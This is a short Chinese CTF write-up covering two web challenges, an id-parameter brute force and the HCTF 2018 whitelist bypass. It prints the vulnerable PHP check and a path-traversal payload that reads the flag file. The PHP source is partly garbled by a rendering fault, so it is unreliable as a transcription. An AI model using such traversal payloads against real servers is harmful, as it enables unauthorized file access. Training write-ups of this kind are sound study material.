攻防世界 后面持续更新

XCTF 4th-CyberEarth
攻防世界 后面持续更新_第1张图片打开之后乱点,点到报表中心的时候连接到一个新网址
攻防世界 后面持续更新_第2张图片连接到id=1这里
攻防世界 后面持续更新_第3张图片抓包爆破
攻防世界 后面持续更新_第4张图片
攻防世界 后面持续更新_第5张图片得到flag
攻防世界 后面持续更新_第6张图片
HCTF 2018
攻防世界 后面持续更新_第7张图片审查源码发现有一个source.php
打开
攻防世界 后面持续更新_第8张图片有一个hint.php打开之后是
flag not here, and flag in ffffllllaaaagggg
在代码审核,关键代码
在这里插入图片描述
检查是否为空,是不是字符,在使用检测函数检测·
$whitelist = [“source”=>“source.php”,“hint”=>“hint.php”];//白名单

if (! isset( p a g e ) ∣ ∣ ! i s s t r i n g ( page) || !is_string( page)!isstring(page)) {
echo “you can’t see it”;
return false;
}
//白名单检测
if (in_array($page, $whitelist)) {
return true;
}
//取传进参数首次出现?前的部分,进行白名单检测
$_page = mb_substr(
p a g e , 0 , m b s t r p o s ( page, 0, mb_strpos( page,0,mbstrpos(page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
//对传参进行url解码,在取传进参数首次出现?前的部分,进行白名单检测
p a g e = u r l d e c o d e ( _page = urldecode( page=urldecode(page);
$_page = mb_substr(
p a g e , 0 , m b s t r p o s ( _page, 0, mb_strpos( page,0,mbstrpos(_page . ‘?’, ‘?’)
);
if (in_array($_page, $whitelist)) {
return true;
}
echo “you can’t see it”;
return false;
}
构造payload
file=hint.php?/…/…/…/…/ffffllllaaaagggg
攻防世界 后面持续更新_第9张图片

你可能感兴趣的:(攻防世界 后面持续更新)